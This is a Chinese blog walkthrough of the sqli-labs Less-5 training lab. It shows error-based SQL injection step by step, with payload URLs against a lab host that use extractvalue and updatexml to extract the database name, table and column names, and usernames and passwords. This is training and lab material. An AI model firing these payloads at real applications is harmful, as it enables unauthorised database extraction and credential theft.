报错注入_sqli-labs less5 Double Query- Single Quotes- String

sqli-labs less5 Double Query- Single Quotes- String

?id=1
在这里插入图片描述
无回显

考虑报错注入

(1)判断字符型还是数字型

http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%201–+
在这里插入图片描述

http://39.101.162.123:10067/Less-5/?id=1%27%20and%201=%202–+

在这里插入图片描述

字符型而且是单引号闭合

(2)判断字段个数:

http://39.101.162.123:10067/Less-5/?id=1%27%20order%20by%201,2,3,4–+

在这里插入图片描述

所以是3个字段

(3)尝试报错注入

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select version()))) --+

在这里插入图片描述

(4)爆库名:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select database()))) --+

在这里插入图片描述

XPATH syntax error: ‘~security’

(5)爆表名:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+

这里特别注意,一定要加limit 0,1 因为报错的信息不止一行,无法回显多行数据

在这里插入图片描述

XPATH syntax error: ‘~emails’

查询剩下的表:
http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) --+

在这里插入图片描述

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1))) --+

在这里插入图片描述

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+

在这里插入图片描述

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1))) --+

在这里插入图片描述

所以一共4个表。

下面对users表进行字段名的查询:

(6)爆字段名:

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))) --+

XPATH syntax error: '~id’

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1))) --+

XPATH syntax error: '~username’

http://39.101.162.123:10067/Less-5/?id=1’ or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1))) --+

XPATH syntax error: '~password’

三个字段全部爆完:id,username,password

(7)爆数据:

这里就不繁琐的爆了,简单就爆第一个数据

http://39.101.162.123:10067/Less-5/?id=1’or updatexml(1,concat(0x7e,(select group_concat(id,0x3a,username,0x3a,password) from users )),0)or’ --+

这里就爆了第一个数据和部分第二个数据:

在这里插入图片描述

XPATH syntax error: ‘~1:Dumb:Dumb,2:Angelina:I-kill-y’

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值